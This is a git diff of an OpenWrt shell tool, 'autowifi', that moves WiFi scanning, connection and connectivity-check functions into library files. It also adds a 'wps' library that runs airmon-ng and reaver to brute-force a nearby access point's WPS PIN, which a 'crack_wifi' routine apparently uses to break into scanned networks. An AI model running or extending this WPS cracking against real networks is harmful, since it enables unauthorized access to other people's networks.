diff options
Diffstat (limited to 'usr')
| -rwxr-xr-x | usr/bin/autowifi | 88 | ||||
| -rw-r--r-- | usr/lib/autowifi/lib/iwlist | 55 | ||||
| -rw-r--r-- | usr/lib/autowifi/lib/network | 12 | ||||
| -rw-r--r-- | usr/lib/autowifi/lib/openwrt | 18 | ||||
| -rw-r--r-- | usr/lib/autowifi/lib/wps | 21 | 
5 files changed, 117 insertions, 77 deletions
| diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 24ffb461..7b92eb9b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,77 +1,22 @@  #!/bin/sh -x +# States (LED): +#   Blinking   - running wifi plugins +#   Turned off - connected to wifi +#   Turned on  - waiting for next scan round +  wifi=wlan0  iface=@wifi-iface[0]  radio=$(uci get wireless.${iface}.device) -connect_wifi(){ -    # channel ssid encryption key -    uci set wireless.${iface}.mode=sta -    ifconfig $wifi up -    uci set wireless.${radio}.channel=$1 -    uci set "wireless.${iface}.ssid=$2" -    if [ $3 == "none" ] ; then -        uci set wireless.${iface}.encryption=none -        uci -q delete wireless.${iface}.key -    else -        uci set "wireless.${iface}.key=$4" -        uci set wireless.${iface}.encryption=$3 -    fi  -    uci commit wireless -    wifi up -} +# for connect_wifi +. /usr/lib/autowifi/lib/openwrt -print_iwlist_env(){ -    # takes environment: -    #   count -    #   MAC -    #   CHANNEL -    #   QUALITY -    #   ENCRYPTION -    #   ESSID -    #   WPA -    #   WPA2 -    for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do -        eval echo ${i}_${count}=\$${i} -    done -} +# for iwlist_scan +. /usr/lib/autowifi/lib/iwlist -iwlist_scan(){ -    ifconfig $wifi up +# for check_internet and check_gateway +. /usr/lib/autowifi/lib/network -    count=0 -     -    iwlist scan ${1:-} 2>/dev/null | ( while read line; -    do -        case "$line" in -            *"Cell "*) -                [ $count -eq  0 ] || print_iwlist_env -                WPA=0 -                WPA2=0 -                : $((count+=1)) -                MAC="${line#*Address: }" -                ;; -            *Channel:*) -                CHANNEL="${line#*:}" -                ;; -            *Quality=*) -                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`" -                ;; -            *"Encryption key:"*) -                ENCRYPTION="${line#*key:}" -                ;; -            *ESSID:*) -                ESSID="${line#*ESSID:}" -                ;; -            *"IE: IEEE 802.11i/WPA2"*) -                WPA2=1 -                ;; -            *"IE: WPA Version 1"*) -                WPA=1 -                ;; -            *);; -        esac -    done; print_iwlist_env ;echo WIFI_COUNT=$count) -}  crack_wifi(){      #SSID MAC CHANNEL ENCRYPTION WPA WPA2      all_led timer @@ -100,17 +45,6 @@ crack_wifi(){      done      return 1  } -check_gateway(){ -    ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') -} -check_internet(){ -    secret=$(wget -O- http://euer.krebsco.de/secret) -    if [ "$secret" == "1337" ]; then -        return 0 -    else -        return 1 -    fi -}  loop_over_networks(){      . /tmp/${wifi}.scan      for i in `seq 1 $WIFI_COUNT`; do diff --git a/usr/lib/autowifi/lib/iwlist b/usr/lib/autowifi/lib/iwlist new file mode 100644 index 00000000..a9f77f0c --- /dev/null +++ b/usr/lib/autowifi/lib/iwlist @@ -0,0 +1,55 @@ +#!/bin/sh + +print_iwlist_env(){ +    # takes environment: +    #   count +    #   MAC +    #   CHANNEL +    #   QUALITY +    #   ENCRYPTION +    #   ESSID +    #   WPA +    #   WPA2 +    for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do +        eval echo ${i}_${count}=\$${i} +    done +} + +iwlist_scan(){ +    # usage: iwlist_scan $wifi-itf +    ifconfig $wifi up + +    count=0 +     +    iwlist ${1:-} scan  2>/dev/null | ( while read line; +    do +        case "$line" in +            *"Cell "*) +                [ $count -eq  0 ] || print_iwlist_env +                WPA=0 +                WPA2=0 +                : $((count+=1)) +                MAC="${line#*Address: }" +                ;; +            *Channel:*) +                CHANNEL="${line#*:}" +                ;; +            *Quality=*) +                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`" +                ;; +            *"Encryption key:"*) +                ENCRYPTION="${line#*key:}" +                ;; +            *ESSID:*) +                ESSID="${line#*ESSID:}" +                ;; +            *"IE: IEEE 802.11i/WPA2"*) +                WPA2=1 +                ;; +            *"IE: WPA Version 1"*) +                WPA=1 +                ;; +            *);; +        esac +    done; print_iwlist_env ;echo WIFI_COUNT=$count) +} diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network new file mode 100644 index 00000000..fd2eb6a9 --- /dev/null +++ b/usr/lib/autowifi/lib/network @@ -0,0 +1,12 @@ +#!/bin/sh +check_gateway(){ +    ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') +} +check_internet(){ +    secret=$(wget -O- http://euer.krebsco.de/secret) +    if [ "$secret" == "1337" ]; then +        return 0 +    else +        return 1 +    fi +} diff --git a/usr/lib/autowifi/lib/openwrt b/usr/lib/autowifi/lib/openwrt new file mode 100644 index 00000000..3483c1fe --- /dev/null +++ b/usr/lib/autowifi/lib/openwrt @@ -0,0 +1,18 @@ +#!/bin/sh +connect_wifi(){ +    # channel ssid encryption key +    uci set wireless.${iface}.mode=sta + +    ifconfig $wifi up +    uci set wireless.${radio}.channel=$1 +    uci set "wireless.${iface}.ssid=$2" +    if [ $3 == "none" ] ; then +        uci set wireless.${iface}.encryption=none +        uci -q delete wireless.${iface}.key +    else +        uci set "wireless.${iface}.key=$4" +        uci set wireless.${iface}.encryption=$3 +    fi  +    uci commit wireless +    wifi up +} diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps new file mode 100644 index 00000000..0fdba0f5 --- /dev/null +++ b/usr/lib/autowifi/lib/wps @@ -0,0 +1,21 @@ +#!/bin/sh + +try_wps_pin(){ +    #  +    # ESSID MAC CHANNEL ENC WPA WPA2 PIN +    #set -ef +    ESSID="$1" +    MAC="$2" +    CHANNEL="$3" +    ENC="$4" +    WPA="$5" +    WPA2="$6" +    PIN="$7" + +    [ "$ENC" == off ] && return 2 + +    airmon-ng start ${WIFI:-wlan0}  $CHANNEL +    sleep 1 +    reaver -i mon0 -b $MAC -vv -p "$PIN" -f -c $CHANNEL || : +    airmon-ng stop mon0 +} | 
